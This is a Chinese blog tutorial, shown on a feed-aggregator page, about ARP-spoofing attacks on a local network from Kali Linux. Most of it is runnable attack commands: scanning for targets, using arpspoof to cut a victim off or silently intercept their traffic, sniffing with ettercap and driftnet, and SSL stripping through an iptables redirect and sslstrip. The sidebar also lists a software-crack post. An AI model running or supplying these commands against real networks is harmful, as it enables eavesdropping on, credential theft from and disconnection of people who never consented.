惯性聚合 高效追踪和阅读你感兴趣的博客、新闻、科技资讯
阅读原文 在惯性聚合中打开

推荐订阅源

大猫的无限游戏
大猫的无限游戏
H
Hackread – Cybersecurity News, Data Breaches, AI and More
博客园_首页
OSCHINA 社区最新新闻
OSCHINA 社区最新新闻
D
Docker
酷 壳 – CoolShell
酷 壳 – CoolShell
宝玉的分享
宝玉的分享
Martin Fowler
Martin Fowler
美团技术团队
量子位
M
MIT News - Artificial intelligence
Apple Machine Learning Research
Apple Machine Learning Research
阮一峰的网络日志
阮一峰的网络日志
博客园 - 叶小钗
博客园 - 三生石上(FineUI控件)
腾讯CDC
Hugging Face - Blog
Hugging Face - Blog
博客园 - 【当耐特】
小众软件
小众软件
博客园 - 司徒正美
罗磊的独立博客
云风的 BLOG
云风的 BLOG
B
Blog RSS Feed
博客园 - 聂微东

LanYunのBlog

优化macOS Dock栏的显示与隐藏 解决macOS全屏模式下某些情况显示原始鼠标指针的问题 Yarn从Classic迁移到Modern nginx自编译 用santa对二进制进行监控和授权 ESXI 8.0安装黑群晖DSM 7.x openwrt编译过程记录 编译monero For macOS ARM 自建busuanzi不蒜子平台统计平台 浅记博客更新日志 (机翻)Kubo配置文件 修改brew services中服务的启动参数 技术杂记📝 解决Surge模块不能同步问题 为Arch Linux配置邮件服务 自编译NutClient-ESXI,更改邮件逻辑 解决ESXI和群晖使用SSH密钥登录问题 为J4125软路由ESXI中群晖提供UPS服务 在arch linux上搭建rustdesk server 解决虚拟机扩容中GPT PMBR大小不符问题 搭建Tuic V5 优雅地为macOS提供python多版本的支持 修复root路径下文件权限问题 解决macOS 14上利用Whisky运行steam时有关问题 在macOS中用PhpStorm配置Xdebug调试 利用CloudFlare Workers快速自建一个IP获取器 如何自动续期证书? 从0开始速配VPS用于网站等 搭建一个基于ChatGPT的QQ机器人(Yunzai-Bot) For Mac 010 Editor For Mac 13.0.1 Crack 破解
Kali Linux下ARP欺骗,断网攻击浅记
LanYun · 2022-04-14 · via LanYunのBlog

前言

本教程出于某些工具无法在Macos下无法运行.才有这Kali Linux篇.(建议先还是看一下Mac下ARP攻击浅记这篇文章)(搞渗透还是得Kali)

本人将分三个场景展开,让我们开始吧~(建议终端输入su,后续操作都需root权限)


软件安装及环境搭建

安装Dsniff套件

它的概述这里不多说,只说一下大致作用

Dsniff是一个基于unix系统网络嗅探工具。

Dsniff是一个工具集,主要分为四类:

  1. 纯粹被动地进行网络活动监视的工具,包括:dsniff、filesnarf、mailsnarf 、msgsnarf、urlsnarf、webspy;
  2. 针对SSH和SSL的MITM(Man-In-The-Middle)”攻击”工具,包括sshmitm和webmitm;
  3. 发起主动欺骗的工具,包括:arpspoof、dnsspoof、macof;
  4. 其它工具,包括tcpkill、tcpnice。

更多内容还是建议自己去看维基百科

1
sudo apt-get install dsniff 

局域网攻击&监控

攻击者位置

在网络层次的攻击模型中,首先要明确攻击者的位置,一般有如下三种:

  • In Path :攻击者是具有较强的攻击能力,可以直接拦截并且修改通信双方的流量
  • On Path :攻击者不能拦截或者修改流量,但是攻击者可以向网络中注入流量
  • Off Path :攻击者不在链路上,但是攻击者单独和通信双方进行流量的通信

image

局域网就属于On Path

查找攻击目标ip

NBTSCAN可以获取到PC的真实IP地址和MAC地址。
nbtscan -r 网关地址/24其实用nmap更好.文章链接🔗
例如 nbtscan -r 172.20.10.1/24

image-20220426132724672

这个就是我们要攻击的目标
这是我的虚拟机:

image-20220426132845316

开始断网&监控攻击

如果需要直接让他断网先运行这个(看名字就知道这个是ipv4转发)

1
echo 0 > /proc/sys/net/ipv4/ip_forward

如果是监控的话(就是没察觉的意思)

1
echo 1 > /proc/sys/net/ipv4/ip_forward

ARP欺骗攻击:

1
2
3


arpspoof -i eth0 -t 172.20.10.2 -r 172.20.10.1

安装并开启流量嗅探工具

driftnet 用于抓取网络流量中的图片,并将他们显示出来。ettercap是一个基于ARP地址欺骗方式的网络嗅探工具,主要适用于交换局域网络。这个工具Mac上安不起才转的Kali,太草了.

1
2
3
4
apt-get install driftnet 
ettercap -Tq -i eth0
driftnet -i eth0
wireshark

image-20220426133742265

wireshark通过抓取eth0数据也能看到ARP攻击对象的流量

image-20220426133914569

想抓https数据?很容易被发现的,这里稍微说一下吧

执行下面的命令,将80端口(http)的数据转发到10000端口(进行SSL剥离):

1
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-ports 10000

启用SSL剥离

执行下面的命令:

1
$ sslstrip -l 10000

这个命令的作用就是攻击者接收到受害者的http封包后进行https封装发送给网站,接收到网站的https封包后解密发送给受害者,真正在上网的是攻击者,它是受害者的https代理。如果受害者访问的是https://的话,浏览器会提示证书错误,因为数字证书上的数字签名是无效的,我们需要再想办法伪造一个数字证书

好了,到此为止ssl剥离已经启用了,接下来可以在目标机器上进行测试了。

未完待续.

估计以后大概率不会补充内容了.

参考链接🔗1官方文档dsniff(8) - Linux 手册页

dsniff

此软件包包含几个用于监听和创建网络流量的工具:

  • arpspoof - 发送未经请求(可能伪造)的arp回复。
  • dnsspoof - 伪造对局域网上任意DNS地址/指针查询的回复。
  • dsniff - 几种协议的密码嗅探器。
  • filesnarf - 保存从NFS流量中嗅探的选定文件。
  • macof - 用随机的MAC地址淹没本地网络。
  • mailsnarf - 在局域网上嗅到邮件,并以mbox格式存储。
  • msgsnarf - 记录来自不同即时信使的选定消息。
  • sshmitm - SSH猴子在中间。代理和嗅探SSH流量。
  • sshow - SSH流量分析仪。
  • tcpkill - 杀死指定的进行中TCP连接。
  • tcpnice - 通过“主动”流量塑造减慢指定的TCP连接速度。
  • urlsnarf - 从CLF中的HTTP流量中嗅出选定的URL。
  • webmitm - HTTP / HTTPS monkey-in-the-middle.透明代理。
  • webspy - 将从客户端嗅探的URL发送到本地浏览器(需要安装libx11-6)
  • WeChat

    WeChat

  • AliPay

    AliPay